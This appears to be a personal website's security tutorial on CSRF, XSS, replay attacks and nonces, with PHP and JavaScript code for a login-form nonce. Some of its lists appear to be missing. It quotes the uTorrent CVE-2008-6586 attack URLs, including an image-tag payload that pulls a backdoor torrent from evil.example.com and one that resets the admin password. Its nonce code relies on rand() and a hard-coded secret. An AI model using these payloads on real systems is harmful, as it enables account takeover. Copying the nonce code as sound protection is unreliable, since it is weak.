Dirk Harriman Banner Image

 

Site Security


CSRF (Cross Site Request Forgery)

Cross-Site Request Forgery, also known as one-click attack or session riding and abbreviated as CSRF (sometimes pronounced Sea-Surf) or XSRF, is a type of malicious exploit of a website or web application where unauthorized commands are submitted from a user that the web application trusts. There are many ways in which a malicious website can transmit such commands; specially-crafted image tags, hidden forms, and JavaScript fetch or XMLHttpRequests, for example, can all work without the user's interaction or even knowledge. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser. In a CSRF attack, an innocent end user is tricked by an attacker into submitting a web request that they did not intend. This may cause actions to be performed on the website that can include inadvertent client or server data leakage, change of session state, or manipulation of an end user's account.

Characteristics

In a CSRF attack, the attacker's goal is to cause an innocent victim to unknowingly submit a maliciously crafted web request to a website that the victim has privileged access to. This web request can be crafted to include URL parameters, cookies and other data that appear normal to the web server processing the request. At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize (e.g. via a popup confirmation) the specific action. A user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request to a site that trusts the user and thereby cause an unwanted action.

A general property of web browsers is that they will automatically and invisibly include any cookies (including session cookies and others) used by a given domain in any web request sent to that domain. This property is exploited by CSRF attacks. In the event that a user is tricked into inadvertently submitting a request through their browser these automatically included cookies will cause the forged request to appear real to the web server and it will perform any appropriately requested actions including returning data, manipulating session state, or making changes to the victim's account.

In order for a CSRF attack to work, an attacker must identify a reproducible web request that executes a specific action such as changing an account password on the target page. Once such a request is identified, a link can be created that generates this malicious request and that link can be embedded on a page within the attacker's control. This link may be placed in such a way that it is not even necessary for the victim to click the link. For example, it may be embedded within an html image tag on an email sent to the victim which will automatically be loaded when the victim opens their email. Once the victim has clicked the link, their browser will automatically include any cookies used by that website and submit the request to the web server. The web server will not be able to identify the forgery because the request was made by a user that was logged in, and submitted all the requisite cookies.

Cross-site request forgery is an example of a confused deputy attack against a web browser because the web browser is tricked into submitting a forged request by a less privileged attacker.

CSRF commonly has the following characteristics:

History

CSRF Token vulnerabilities have been known and in some cases exploited since 2001. Because it is carried out from the user's IP address, some website logs might not have evidence of CSRF. Exploits are under-reported, at least publicly.

Real-Life Examples

New attacks against web-enabled devices were carried out in 2018, including attempts to change the DNS settings of routers. Some router manufacturers hurriedly released firmware updates to improve protection, and advised users to change router settings to reduce the risk. Details were not released, citing "obvious security reasons".

Examples

Attackers who can find a reproducible link that executes a specific action on the target page while the victim is logged in can embed such link on a page they control and trick the victim into opening it. The attack carrier link may be placed in a location that the victim is likely to visit while logged into the target site (for example, a discussion forum), or sent in an HTML email body or attachment.

uTorrent (CVE-2008-6586)

A real CSRF vulnerability in uTorrent (CVE-2008-6586) exploited the fact that its web console accessible at localhost:8080 allowed critical actions to be executed using a simple GET request:

Force a .torrent file download

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Change uTorrent administrator password

http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

Attacks were launched by placing malicious, automatic-action HTML image elements on forums and email spam, so that browsers visiting these pages would open them automatically, without much user action. People running vulnerable uTorrent version at the same time as opening these pages were susceptible to the attack.

CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript, for example using BBCode:

[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

When accessing the attack link to the local uTorrent application at localhost:8080, the browser would also always automatically send any existing cookies for that domain. This general property of web browsers enables CSRF attacks to exploit their targeted vulnerabilities and execute hostile actions as long as the user is logged into the target website (in this example, the local uTorrent web interface) at the time of the attack.

In the uTorrent example described above, the attack was facilitated by the fact that uTorrent's web interface used GET request for critical state-changing operations (change credentials, download a file etc.), which RFC 2616 explicitly discourages:

Because of this assumption, many existing CSRF prevention mechanisms in web frameworks will not cover GET requests, but rather apply the protection only to HTTP methods that are intended to be state-changing.

Forging Login Requests

An attacker may forge a request to log the victim into a target website using the attacker's credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with their legitimate credentials and view private information like activity history that has been saved in the account. This attack has been demonstrated against Google and Yahoo.

HTTP verbs and CSRF

Depending on the type, the HTTP request methods vary in their susceptibility to the CSRF attacks (due to the differences in their handling by the web browsers). Therefore, the protective measures against an attack depend on the method of the HTTP request.

Prevention

Most CSRF prevention techniques work by embedding additional authentication data into requests that allows the web application to detect requests from unauthorized locations.

Synchronizer Token Pattern

Synchronizer token pattern (STP) is a technique where a token, a secret and unique value for each request, is embedded by the web application in all HTML forms and verified on the server side. The token may be generated by any method that ensures unpredictability and uniqueness (e.g. using a hash chain of random seed). The attacker is thus unable to place a correct token in their requests to authenticate them.[1][24][25]

Example of STP set by Django in a HTML form:

<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

STP is the most compatible as it only relies on HTML, but introduces some complexity on the server side, due to the burden associated with checking validity of the token on each request. As the token is unique and unpredictable, it also enforces proper sequence of events (e.g. screen 1, then 2, then 3) which raises usability problem (e.g. user opens multiple tabs). It can be relaxed by using per session CSRF token instead of per request CSRF token.

Cookie-to-Header Token

Web applications that use JavaScript for the majority of their operations may use the following anti-CSRF technique:

Security of this technique is based on the assumption that only JavaScript running on the client side of an HTTPS connection to the server that initially set the cookie will be able to read the cookie's value. JavaScript running from a rogue file or email should not be able to successfully read the cookie value to copy into the custom header. Even though the csrf-token cookie may be automatically sent with the rogue request, subject to the cookies SameSite policy, the server will still expect a valid X-Csrf-Token header.

The CSRF token itself should be unique and unpredictable. It may be generated randomly, or it may be derived from the session token using HMAC:

csrf_token = HMAC(session_token, application_secret)

The CSRF token cookie must not have httpOnly flag, as it is intended to be read by JavaScript by design.

This technique is implemented by many modern frameworks, such as Django and AngularJS. Because the token remains constant over the whole user session, it works well with AJAX applications, but does not enforce sequence of events in the web application.

The protection provided by this technique can be thwarted if the target website disables its same-origin policy using one of the following techniques:

Double Submit Cookie

Similarly to the cookie-to-header approach, but without involving JavaScript, a site can set a CSRF token as a cookie, and also insert it as a hidden field in each HTML form. When the form is submitted, the site can check that the cookie token matches the form token. The same-origin policy prevents an attacker from reading or setting cookies on the target domain, so they cannot put a valid token in their crafted form.

The advantage of this technique over the Synchronizer pattern is that the token does not need to be stored on the server.

SameSite Cookie Attribute

An additional "SameSite" attribute can be included when the server sets a cookie, instructing the browser on whether to attach the cookie to cross-site requests. If this attribute is set to "strict", then the cookie will only be sent on same-site requests, making CSRF ineffective. However, this requires the browser to recognise and correctly implement the attribute.

Client-Side Safeguards

Browser extensions such as RequestPolicy (for Mozilla Firefox) or uMatrix (for both Firefox and Google Chrome/Chromium) can prevent CSRF by providing a default-deny policy for cross-site requests. However, this can significantly interfere with the normal operation of many websites. The CsFire extension (also for Firefox) can mitigate the impact of CSRF with less impact on normal browsing, by removing authentication information from cross-site requests.

The NoScript extension for Firefox mitigates CSRF threats by distinguishing trusted from untrusted sites, and removing authentication & payloads from POST requests sent by untrusted sites to trusted ones. The Application Boundary Enforcer module in NoScript also blocks requests sent from internet pages to local sites (e.g. localhost), preventing CSRF attacks on local services (such as uTorrent) or routers.

The Self Destructing Cookies extension for Firefox does not directly protect from CSRF, but can reduce the attack window, by deleting cookies as soon as they are no longer associated with an open tab.

Other Techniques

Various other techniques have been used or proposed for CSRF prevention historically:

Cross-site scripting (XSS) vulnerabilities (even in other applications running on the same domain) allow attackers to bypass essentially all CSRF preventions.


XSS (Cross Site Scripting)

Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a web browser, then content from any URL with the same:

will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.


Replay Attack

A replay attack (also known as a repeat attack or playback attack) is a form of network attack in which valid data transmission is maliciously or fraudulently repeated or delayed. This is carried out either by the originator or by an adversary who intercepts the data and re-transmits it, possibly as part of a spoofing attack by IP packet substitution. This is one of the lower-tier versions of a man-in-the-middle attack. Replay attacks are usually passive in nature.


Nonce

In cryptography, a nonce is an arbitrary number that can be used just once in a cryptographic communication. It is often a random or pseudo-random number issued in an authentication protocol to ensure that old communications cannot be reused in replay attacks. They can also be useful as initialization vectors and in cryptographic hash functions.

Nonce For Form Security

In the world wide web, nonces are often used as an extra level of security between the client and the server. Authentication protocols may use nonces to ensure that old communications cannot be reused in replay attacks. For instance, nonces are used in HTTP digest access authentication to calculate an MD5 digest of the password. The nonces are different each time the 401 authentication challenge response code is presented, thus making replay attacks virtually impossible. The scenario of ordering products over the Internet can provide an example of the usefulness of nonces in replay attacks. An attacker could take the encrypted information and—without needing to decrypt—could continue to send a particular order to the supplier, thereby ordering products over and over again under the same name and purchase information. The nonce is used to give 'originality' to a given message so that if the company receives any other orders from the same person with the same nonce, it will discard those as invalid orders.

<?php require_once('nonce.php'); // CREATE NEW INSTANCE OF THE CLASS $nonce = new Nonce(); // GENERATE NONCE $token = $nonce->generateNonce(10, 'form_login', 10); ?> ... <form id="form_login"> <input type="hidden" id="nonce_token" name="nonce_token" value="<?php echo $token; ?>" /> <div class="flex_wrap"> <input type="text" id="txtUsername" name="txtUsername" minlength="8" maxlength="20" placeholder="Username" /> <input type="password" id="txtPassword" name="txtPassword" minlength="8" maxlength="20" placeholder="Password" /> <input type="button" id="btnLogin" value="Login" /><br/> </div> <div id="user_message"></div> </form>

Note that in this instance the nonce token is stored in a hidden form field, but it could easily be injected directly into the javascript AJAX call when the send data is assembled.

window.addEventListener("DOMContentLoaded", (event) =>{ let txtUsername = document.getElementById("txtUsername"); let txtPassword = document.getElementById("txtPassword"); let btnLogin = document.getElementById("btnLogin"); let nonce_token = document.getElementById("nonce_token"); let user_message = document.getElementById("user_message"); btnLogin.addEventListener("click", function() { let error_str = validate_login(); let data = ""; let msg = ""; let accessLevel = -1; let xmlhttp; let return_obj; if (error_str == "") { // PACKAGE THE DATA data = "txtUsername="+ txtUsername.value +"&txtPassword="+ txtPassword.value + "&nonce_token="+ nonce_token.value; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { // PROCESS RESPONSE HERE (xmlhttp.responseText) } } xmlhttp.open("POST","form_processing.php",true); xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); xmlhttp.send(data); } else { user_message.innerHTML = error_str } },false); });

<?php // NONCE LIBRARY session_start(); define('NONCE_SECRET', 'UaT^QgHo7#92L$&%sKwLsP$^'); class Nonce { /************************************************************************************************ * GENERATE SALT */ public function generateSalt($length = 10){ // SET UP RANDOM CHARACTERS $chars='12rtp34hlzxW90qwe5678fTyuZXCioVBYUSDbIOPAnmQgEjkRJKLFGHcvasdNM'; $char_len = strlen($chars)-1; // GET THE LENGTH OF THE RANDOM CHARACTERS $output = ''; while (strlen($output) < $length) { // GET RANDOM CHARACTERS AND APPEND TO OUTPUT UNTIL OUTPUT > $length $output .= $chars[ rand(0, $char_len) ]; } return $output; } /************************************************************************************************ * STORE NONCE */ private function storeNonce($form_id, $nonce){ // ARGUMENT MUST BE A STRING if (is_string($form_id) == false) { throw new InvalidArgumentException("A valid Form ID is required"); } // GROUP GENERATED NONCES AND STORE WITH md5 HASH $_SESSION['nonce'][$form_id] = md5($nonce); return true; } /************************************************************************************************ * GENERATE NONCE */ public function generateNonce($length = 10, $form_id, $expiry_time){ $secret = NONCE_SECRET; // SECRET MUST BE VALID. YOU CAN ADD YOUR regExp HERE if (is_string($secret) == false || strlen($secret) < 10) { throw new InvalidArgumentException("A valid Nonce Secret is required"); } $salt = self::generateSalt($length); // GENERATE SALT $time = time() + (60 * intval($expiry_time)); // CONVERT TIME TO SECONDS $toHash = $secret.$salt.$time; // CONCATENATE TOKENS TO HASH // SEND THIS TO THE USER WITH THE HASHED TOKENS $nonce = $salt .':'.$form_id.':'.$time.':'.hash('sha256', $toHash); self::storeNonce($form_id, $nonce); // STORE NONCE return $nonce; // RETURN NONCE } /************************************************************************************************ * VERIFY NONCE */ public function verifyNonce($nonce){ $secret = NONCE_SECRET; $split = explode(':', $nonce); // SPLIT NONCE WITH COLON DELIMETER if (count($split) !== 4) { // CHECK IF THE COUNT EQUALS 4 return false; } $salt = $split[0]; // SEPARATE SALT $form_id = $split[1]; // SEPARATE FORM ID $time = intval($split[2]); // SEPARATE TIME $oldHash = $split[3]; // SEPARATE OLD HASH if (time() > $time) { // CHECK IF THE TIME HAS EXPIRED return false; } if (isset($_SESSION['nonce'][$form_id])) { // CHECK IF NONCE IS PRESENT IN THE SESSION if ($_SESSION['nonce'][$form_id] !== md5($nonce)) { // CHECK IF HASHED VALUE MATCHES return false; } } else { return false; } // CHECK THE NONCE AGAINST $oldHash $toHash = $secret.$salt.$time; $reHashed = hash('sha256', $toHash); // MATCH WITH THE TOKEN if ($reHashed !== $oldHash) { return false; } return true; // NONCE IS VALID } } ?>

<?php require_once('nonce.php'); $txtUsername = $_POST['txtUsername']; $txtPassword = $_POST['txtPassword']; $nonce_token = $_POST['nonce_token']; // CREATE NEW INSTANCE OF THE CLASS $nonce = new Nonce(); $result = ''; if ($nonce->verifyNonce($nonce_token)) { $result = 'Nonce Passed'; // CHECK LOGIN CODE HERE } else { $result = 'Nonce Failed'; // LOGIN FAILED BECAUSE NONCE FAILED } echo "Message From Server: ". $result; ?>